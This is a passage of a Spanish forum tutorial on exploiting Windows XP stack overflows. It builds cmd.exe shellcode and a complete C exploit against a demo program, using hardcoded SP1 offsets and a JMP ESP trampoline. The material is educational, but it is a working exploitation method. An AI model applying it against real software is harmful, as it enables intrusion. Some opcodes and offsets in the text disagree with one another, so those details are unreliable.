  • 23. Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del strcpy: 0022FF00 0022FF28 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" La direccion 0022FF00 contiene la dirección de la pila (0022FF28) donde empieza la variable buffer, donde empiezan todas nuestras AAAAs... 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" La dirección 0022FF04 contiene la dirección en el HEAP (memoria dinámica) de la variable argv[1], donde están las AAAs que introducimos por argumento al programa. 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAA" La dirección 0022FF08 contiene la dirección del antiguo EBP del main, que ahora esta sobrescrito con AAAAs... Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la dirección de retorno del main (), la que llamaba a finalizar el proceso (Hemos sobrescrito mucho más :P, pero bueno.... así se ve mejor). ¿Eso que quiere decir? Si vemos nuestro programita principal, justo después del call (la ejecución ha
  • 24. vuelto al programa principal): 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy 004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí parados (EIP = 004012F0) 004012F3 |> B8 00000000 MOV EAX,0 004012F8 |. C9 LEAVE 004012F9 . C3 RETN <-- cuando llegue aquí.... Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP vale 41414141, ya que era la "base" de la pila del anterior proceso, en este caso main() (se salva para delimitar los "trozos" de pila que corresponden a cada función, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, 10 y al LEAVE y que ahora apunta a 0022FF74. 0022FF74 41414141 <--- Antigua dirección del ret del main () A partir de aquí hemos hecho el overflow. Al ejecutar el RETN, EIP "recogerá" la dirección que apunta ESP (0022FF74) que debería ser la dirección de la llamada a ExitProcess(), pero que en este caso es 41414141 porque la hemos sobrescrito. La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento de usuario, y petara :) Un bonito overflow de pila, normal y corriente :) -== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==- ¿Bien, y todo esto para que nos sirve?
  • 25. Bueno, y ¿si hubiéramos sobrescrito la dirección del retorno de main con la dirección de un código que nos fuera provechoso? Ese código provechoso es nuestra shellcode :) Si conseguimos que el programa salte a donde nosotros queramos, donde este nuestra shellcode, podremos ejecutar CUALQUIER código (funciones, etc... cualquier cosa, aunque mientras mas complicada, mas grande será la shellcode, y hay que tener en cuenta el tamaño del buffer...). Una shellcode puede ejecutar cualquier cosa, tanto en Windows, como en Linux y derivados. Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun... ¿COMO LA HACEMOS? Una shellcode se hace en ensamblador, en ASM. No es tan difícil como parece :) Tratare de explicar como codear una pequeña y simple shellcode que ejecute una shell cmd. Bien, antes de nada, aquí es más que recomendable tener el Visual C++ 6.0. Básicamente, lo que queremos es convertir esta función C, en un código ASM, y posteriormente, ese código convertirlo en hexadecimal, y pasárselo al programa como parámetro, pero ya entraremos en eso. system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell MSDOS. También podíamos haber usado WinExec() en vez de system, o incluso CreateProcess() eso se lo dejamos a cada uno que pruebe :) Bien, como ya he dicho, llamar a system, como una función cualquiera, en ASM,
  • 26. seria así: push 0 --> en realidad, system se llama así: system("cmd.exe0"), con un null (0) para delimitar el final de la cadena "cmd.exe" push dirección_cadena_cmd --> system realmente se llama así: system(dirección del comando) call system --> offset de system en la msvcrt.dll Bien, tenemos que conseguir 3 cosas: 1º- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadena de cmd.exe--> "cmd.exe00". Esto nos puede acarrear problemas con strcpy, si strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena. Cualquier función que trabaje con cadenas, un 0, un 0x00, un x00 lo interpreta como fin de cadena (aunque luego haya mas cosas, las ignora) 2º- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push '.', etc...), y luego saber su dirección en la propia pila, para pasársela a System() como argumento. 3º- Necesitamos la dirección de la función System() en la DLL msvcrt.dll Así que iremos punto por punto para hacer nuestra shellcode básica :) -== COMO HACER UNA SHELLCODE BASICA ==- 1º El tema del nulo (null) Pongamos este ejemplo, en codigo C:
  • 27. char buffer[10]; //declaramos un array de 10bytes char cadena[10]= "lola0wop"; //declaramos otro que contiene ese string. strcpy (buffer, cadena) // copiamos cadena dentro de buffer. Strcpy() solo copiara "lola" en buffer, ya que ha detectado un 0 (NULL), que significa FIN DE CADENA. Así que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos de carro (0x0D), así como "mas cosas" según lo que acepte el programa vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows muy largo tendrá la dificultad que la shellcode no podrá contener caracteres que Windows no permite en los nombres de fichero, por ejemplo. ¿Como la hacemos para que no haya nulos en los opcodes, pero si en la pila? Muy fácil, usando la función XOR (OR exclusivo). Cuando a un valor se le hace un XOR consigo mismo, da 0. Si quereis mas información sobre XOR (y sus diversas funciones respecto a una shellcode, muy interesantes, como al encriptación XOR que se empezo a usar en virus...) google :) xor edi,edi <-- He usado EDI por ejemplo... EDI será igual a 00000000. push edi <--- Metemos 00000000 en la pila Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en hexadecimal no contienen ningún 0 en hexadecimal, perfecto :) 2º- Necesitamos meter "cmd.exe" en la pila y saber la dirección del inicio de la
  • 28. cadena "cmd.exe" en la pila. sub esp,04h <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba", dejándonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes) mov byte ptr [ebp-08h],63h <-- Mete 'c' en hexadecimal en ebp-8bytes mov byte ptr [ebp-07h],6Dh <-- Mete 'm' en ebp -7 mov byte ptr [ebp-06h],64h <-- Mete 'd' en ebp -6 mov byte ptr [ebp-05h],2Eh <-- Mete '.' en ebp -5 mov byte ptr [ebp-04h],65h <-- Mete 'e' en ebp -4 mov byte ptr [ebp-03h],78h <-- Mete 'x' en ebp -3 mov byte ptr [ebp-02h],65h <-- Mete 'e' en ebp -2 lea eax,[ebp-08h] <--- cargamos en eax, la dirección (NO el valor) de ebp-08, que apunta a nuestra 'c', el inicio de cmd.exe push eax <-- Metemos la dirección de 'cmd.exe' en la pila Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea bastante reutilizable. Las direcciones de la pila son muy variables, con lo que no conviene usar direcciones absolutas. De todas formas, alguna dirección absoluta usamos :P Ya lo veremos..... Ya están la cadena cmd.exe00 en la pila, solo necesitamos la dirección de system() 3º- dirección de System() en la DLL msvcrt.dll Esta dirección (u offset) variara debido a la versión (Win2k, Win XP, etc..) así como a los service packs instalados, lenguaje del SO y cualquier otra cosa que modifique las DLLs del sistema (puede ocurrir que dos personas tengan el mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas). Se puede crear una shellcode (no es muy difícil, hay varios métodos) que no se
  • 29. sirva de ninguna dirección "harcodeada" (es decir, dirección fija) pero no lo trataremos aquí ya que esto se alargaría bastante, además de que solo tratamos de crear una shellcode simple y que funcione. De todas formas, saber que la dirección de system (y de cualquier otra API) se puede sacar en tiempo de ejecución, haciendo la shellcode completamente universal. Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente creando por ejemplo un código C donde se llame a system() y luego en el debugger, ver a donde apunta el Call msvcrt.system. Pero, como soy vago :) He medio codeado un mini programa que te dice el offset de cualquier función en cualquier dll. Lo podéis encontrar aquí: http://foro.elhacker.net/index.php/topic,56137.0.html Pero por si no lo queréis buscar, os pongo el código C: #include <stdio.h> #include <windows.h> typedef VOID (*MYPROC)(LPTSTR); int main (int argc, char **argv) { char dll[100]; char función[100]; HINSTANCE libreria; MYPROC procadd; printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la DLL,n");
  • 30. printf ("y como segundo argumento la función dentro de esa DLLn"); printf ("Por ejemplo %s msvcrt.dll systemnn", argv[0]); if (argc != 3){ printf ("Introduce 2 argumentos como se explica mas arriba!!!n"); return 1; } memset(dll,0,sizeof(dll)); memset(funcion,0,sizeof(funcion)); memcpy (dll, argv[1], strlen(argv[1])); memcpy (funcion, argv[2], strlen(argv[2])); libreria = LoadLibrary(dll); procadd = (MYPROC)GetProcAddress (libreria,funcion); printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd); return 0; } Ojo, después de codearlo, me dado cuenta que hay varios códigos por ahí que hacen lo mismo, además de que cualquier programador que haya trabajado con APIs de Windows, sabe hacer este código. Simplemente me lo he codeado, por codear xDDD. Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos el offset :)
  • 31. mov ebx,0x77bf8044 <-- Metemos en ebx el valor del offset de system, en un Win XP SP1 es 77bf8044 call ebx <-- Llamamos a system y ejecuta nuestra shellcode :) Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un registro, y luego llamar al registro. Veamos el código completo de la shellcode, dentro de un código C. Lo metemos en un código C para poder probarlo (en vez de buscar un compilador como NASM o TASM) ya que es mas "fácil". Además, tenemos que "cargar" la librería msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a system. Si no la cargáramos, al tratar de ejecutar la shellcode, como msvcrt.dll no esta en la tabla de importaciones del ejecutable, no la podríamos usar. Normalmente, los programas vulnerables que "petemos" cargaran numerosas librerías, con lo que nos podremos valer de ellas. Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y ntdll.dll (las cargan todos los ejecutables), y a través de kernel32.dll podemos buscar los offsets de LoadLibrary (para cargar la librería DLL que queramos) así como GetProcAddress(para saber la dirección de la función o API dentro de la librería cargada).Todo esto a través de la shellcode, así es como se realizan las shellcodes "universales". Pero eso se sale de una shellcode "simple", así que no lo trataremos. Bien, este es el código C: #include <stdio.h> #include <windows.h> int main () {
  • 32. LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h lea eax,[ebp-08h] push eax mov ebx,0x77bf8044 call ebx } } Este código NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM AT&T, mucho mas complicado y coñazo (para mi), lo tendréis que compilar en VISUAL C++ o otro equivalente que trabaje con ASM Intelx86. Las instrucciones: push ebp mov ebp,esp
  • 33. Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En este caso es necesario, pero es más que probable que en un exploit "real" no lo necesitemos, ya que el programa que tratemos de explotar tendrá la pila lista para introducir nuestra shellcode. Lo único que hace es salvar el ebp actual, y crear una nueva "pila" al mover el valor de esp en ebp. Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona :) Sale una shell MSDOS. Bien, pero ¿como "metemos" esta shellcode en el programa vulnerable? A través de sus opcodes hexadecimales, la "conversión" de instrucción ASM a hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe: 004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format = "Introduzca un argumento al programa" 004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; printf 004012D7 |. 83C4 10 ADD ESP,10 004012DA |. EB 17 JMP SHORT vuln1.004012F3 004012DC |> 83EC 08 SUB ESP,8 004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004012E2 |. 83C0 04 ADD EAX,4 004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src 004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; | 004012EA |. 50 PUSH EAX ; |dest 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy 004012F0 |. 83C4 10 ADD ESP,10 Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB ESP,8 es '83EC 08'.
  • 34. Para ver los opcodes de nuestra shellcode hay varios métodos, pero vamos, lo mas fácil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta (al menos así lo hago yo con shellcodes cortas :P). Se explican en numerosos documentos (entre ellos, en documentos de ezines españolas muy recomendables de leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo lo haré a mano :) Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son instrucciones que añade el compilador para que funcione perfectamente, compatibilidad msdos, control básico de errores, etc..... Si queremos buscar nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras... Yo la que he usado, mas cómoda, es mirar la tabla de string references, la tabla donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me lleva directamente al código del LoadLibrary ("msvcrt.dll"). Para ver las string references, clik botón derecho, Search for -> All refenced strings. Abajo del todo (en mi caso) estaba msvcrt.dll. También podemos hacerlo buscando una instrucción de nuestra shellcode (por ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso (algo lento :P). Bueno, vamos al código (al hacer lo de string references): 0040B4DA |. 68 3CFF4100 PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName = "msvcrt.dll" 0040B4DF |. FF15 5C414200 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; LoadLibraryA
  • 35. 0040B4E5 |. 3BF4 CMP ESI,ESP 0040B4E7 |. E8 845BFFFF CALL pruebash.__chkesp 0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode 0040B4ED |. 8BEC MOV EBP,ESP 0040B4EF |. 33FF XOR EDI,EDI 0040B4F1 |. 57 PUSH EDI 0040B4F2 |. 83EC 04 SUB ESP,4 0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D 0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E 0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0040B514 |. 50 PUSH EAX 0040B515 |. BB 4480BF77 MOV EBX,77BF8044 0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode 0040B51C |. 5F POP EDI 0040B51D |. 5E POP ESI 0040B51E |. 5B POP EBX 0040B51F |. 83C4 40 ADD ESP,40 0040B522 |. 3BEC CMP EBP,ESP 0040B524 |. E8 475BFFFF CALL pruebash.__chkesp 0040B529 |. 8BE5 MOV ESP,EBP 0040B52B |. 5D POP EBP 0040B52C . C3 RETN
  • 36. "Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y vemos que el compilador ha añadido instrucciones por debajo y por arriba (lo dicho, compatibilidad, control de excepciones, salida del programa, etc..), pero no nos importa. Aquí esta la shellcode: 0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode 0040B4ED |. 8BEC MOV EBP,ESP 0040B4EF |. 33FF XOR EDI,EDI 0040B4F1 |. 57 PUSH EDI 0040B4F2 |. 83EC 04 SUB ESP,4 0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D 0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E 0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0040B514 |. 50 PUSH EAX 0040B515 |. BB 4480BF77 MOV EBX,77BF8044 0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un archivo de texto, o usamos algun programa que nos la printee por pantalla. Deberíamos tener algo así: 55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3 Estos son los opcodes. Si os fijáis, veréis que esta la dirección del offset de
  • 37. System() (77BF8044) pero AL REVES. Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD, etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en casa, nos manejaremos en Little Endian a la hora de direcciones y offsets. Simplemente, para no enrollarme, al meter un offset, lo tenéis que meter "al revés". Si queréis mas información, google -> little endian :) Bien, tenemos los opcodes de nuestra shellcode :). Sabemos que por ejemplo A = 41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o 6Dh = m, pero hay otros que están fuera de la tabla ASCII, y además, meter así los opcodes es un coñazo, y que nadie lo hace xD. Pero... ¿como sabemos la dirección del inicio de la shellcode para poder sobrescribir EIP con su valor? ¿Como haremos para que el programa funcione siempre si las direcciones de la pila varían? ¿Y como le pasamos al programa vulnerable la shellcode? -== CREANDO EL EXPLOIT ==- Vamos a crear el exploit :) - ¿Como sabemos la dirección del inicio de la shellcode para sobrescribir EIP con su valor? Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la dirección de la shellcode, usaremos una técnica especial xDDDD. En vez de mandar al programa AAAAAAAAAAAAAAAs... a mogollón, le mandaremos AAAABBBBCCCCDDDD.... Así sabremos donde exactamente sobrescribe el RET, para así poder cambiarlo por la dirección de la shellcode.
  • 38. Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD... Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y ejecutara nuestra shellcode. - ¿Como haremos que el programa funcione siempre si las direcciones de la pila varían? Si metiéramos directamente la dirección de la shellcode en la pila (una dirección del tipo 0022XXXX), tendríamos 2 problemas: La pila cambia muchísimo según las aplicaciones que estén en ejecución, y mas aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio ordenador. Y el otro problema, es que en la pila las direcciones contienen un 00 --> 0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la dirección de la pila. Pero si habéis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de nuevo), fijaos en la pila cuando se produce la excepción: 0022FF74 54545454 <- EIP ha tratado de ejecutar lo que hay en la dirección 54545454 (EIP = 54545454) 0022FF78 55555555 <- ESP= 0022FF78 0022FF7C 56565656 Si os fijáis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555. ¿No os da una idea? Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un
  • 39. JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555 tuviéramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!! Vamos paso a paso :) En vez de 54545454 hay una dirección de una instrucción de un JMP ESP. EIP cogería esa dirección, ejecutaría el JMP ESP, y "caería" donde apunta ESP, es decir, en 55555555, que lo cambiaríamos por nuestra shellcode, por lo que se ejecutaría. Y como buscamos una dirección de un JMP ESP o un CALL ESP? En una DLL que cargue el programa vulnerable, con FINDJMP, un programita realmente útil. Dicho programita, buscara en la DLL que le digamos, instrucciones referidas al registro que queramos. El findjmp lo encontrareis en el foro de elhacker.net :) Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y ntdll.dll, aunque también podríamos usar cualquier librería que cargara el programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el Ollydbg, y ver los EXECUTABLE MODULES, y ahí vienen las DLLs que carga). Si usáramos el findjmp así: Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. F:Rojodos>findjmp kernel32.dll esp Scanning kernel32.dll for code useable with the esp register 0x77E81941 call esp Finished Scanning kernel32.dll for code useable with the esp register
  • 40. Found 1 usable addresses Vemos que solo hay una instrucción que use el registro ESP, y es un CALL ESP, preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su instrucción anterior, y eso nos puede fastidiar la shellcode....). Mejor buscamos un JMP ESP: Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. F:Rojodos>findjmp ntdll.dll esp Scanning ntdll.dll for code useable with the esp register 0x77F7AC16 call esp 0x77F8980F jmp esp Finished Scanning ntdll.dll for code useable with the esp register Found 2 usable addresses Ya tenemos un JMP ESP en la librería ntdll.dll, en el offset 0x77F8980F. Esto es en mi Windows XP SP1, el offset cambiara según versiones del Windows, SP, lenguajes... En Linux no se hace así, no se llama a un JMP ESP, si no que se usa, en la forma BÁSICA de explotación, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente pasan a la siguiente instrucción), offsets aproximados de direcciones de la pila, y un bruteforce... Eso, si hay ganas, se hará otro manual, pero para explotación en sistemas Linux si que hay mucha mas documentación, y en español incluso. - Como le pasamos al programa la shellcode
  • 41. Ya tenemos la dirección del JMP ESP, es decir, sabemos con que valor tenemos que sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer) + offset JMP ESP + shellcode. ¿Como lo hacemos? El programa vulnerable recibe los datos que hacen el overflow a través de la línea de comandos, de sus argumentos. Podríamos pasarle la shellcode en caracteres printeables por los argumentos, pero eso es un coñazo, porque primero tendríamos que convertir esos opcodes a su equivalente en la tabla ASCII (algunos no están :P) y luego copy paste... no no, mejor que no. Mejor nos codeamos un "exploit" en C, que llamara al programa pasándole los datos de la shellcode por parámetro, así nos libramos de convertir los opcodes. De todas formas, en el programa incluiré un printf() para que veáis como son. /* exploit_vuln1.c por Rojodos */ #include <stdio.h> // Entrada/Salida #include <stdlib.h> // execv() int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM MNNNN" "OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret char shellcode[]="x55x8BxECx33xFFx57x83xECx04xC6x45xF8x63"
  • 42. "xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45xFCx65xC6x45xFD" "x78xC6x45xFEx65x8Dx45xF8x50xBBx44x80xBFx77xFFxD3"; //Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada //en x44x80xBFx77 0x77BF9044 char offset[]="x0Fx98xF8x77"; // Offset jmp esp ntdll32.dll WinXP SP1 Esp strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode printf ("Cadena + offset + shellcode en formato printablenn"); printf ("%s", evilbuffer); argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1 argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1 argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento } Nota para los programadores :P Tendría que haber creado una estructura de punteros para usarlo en el execv, pero me he valido de argv[] para no marear las cosas, por simplicidad. Espero que no me cuelgen por eso :P
  • 43. Este exploit compila perfectamente en Dev Cpp, y *debería* compilar en cualquier otro compilador de Windows (y de Linux). La única función que podría dar problemas es execv, pero en teoría es compatible con Windows, no creo que haya ningún problema. No lo he probado en más compiladores. Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell MSDOS :) Hemos explotado con éxito el programa vuln1.exe, a través del programa exploit_vuln1.exe. :P Espero que os haya gustado el documento, y que os ayude a, primero, entender los stack overflows, y luego, a crear vuestros propios exploits básicos. La mejor forma de aprender, aparte de leer docs y mas docs, es programando, programando y mas programando :) Los dos exploits públicos que he escrito, el del Winamp 5.08 Stack Overflow y el de Acrobat Reader 6.0.1 Stack Overflow están basados en este documento. Cualquiera que lea y comprenda este documento, podría haber creado dichos exploits. Así que como veis, no tiene ningún misterio :) No dejéis de practicar, y cualquier pregunta será mejor que recibida en el foro de elhacker.net. -== DOCUMENTACION ==- Documentos importantes mucho mejor redactados y completos que el mío :P (exploits y stack overflows en Windows o shellcoding en general). Hay MUCHOS más, pero estos son los que he considerado importantes :)
  • 44. Gran Recopilación de textos sobre el tema, por Griph: http://foro.elhacker.net/index.php/topic,49765.0.html Phrack. Win32 Buffer Overflows http://www.phrack.org/phrack/55/P55-15 Phrack. Avances en Windows Shellcoding http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt NetSearch. Shellcodes + Overflows Win32 (1) http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x03.txt NetSearch. Shellcodes + Overflows Win32 (2) http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x04.txt Introducción al shellcoding (Linux) http://tigerteam.se/dl/papers/intro_to_shellcoding.pdf Lastima de Phrack :( Y por supuesto, buscar tanto por la web como por el foro de elhacker.net :) Y si no, google! -== AGRADECIMIENTOS ==- Hecho para el foro de elhacker.net :) http://foro.elhacker.net
  • 45. Aún así, se permite la distribución del texto en cualquier sitio web, pero haciendo referencia en los créditos al autor, en este caso, yo, Rojodos. Agradecimientos a todos los colaboradores y moderadores, y al administrador, aprendiendo cada día de ellos :) A todos los españoles que colaboran en la seguridad y el hacking, a NetSearch, 7a69, SET, 29A, Cyruxnet, Hackxcrack, y a cualquier persona en el mundo que se interese y escriba sobre la seguridad informática, que nos aporte lo que ha aprendido e investigado :) Abstracto es mas tonto de lo que aparenta, que ya es decir xDDDDDDDDDDDDDD (no podía dejar de ponerlo xDD) Y a ELLA, Ishtar :) Rojodos - rojodos2[at]yahoo[dot]es _EOF_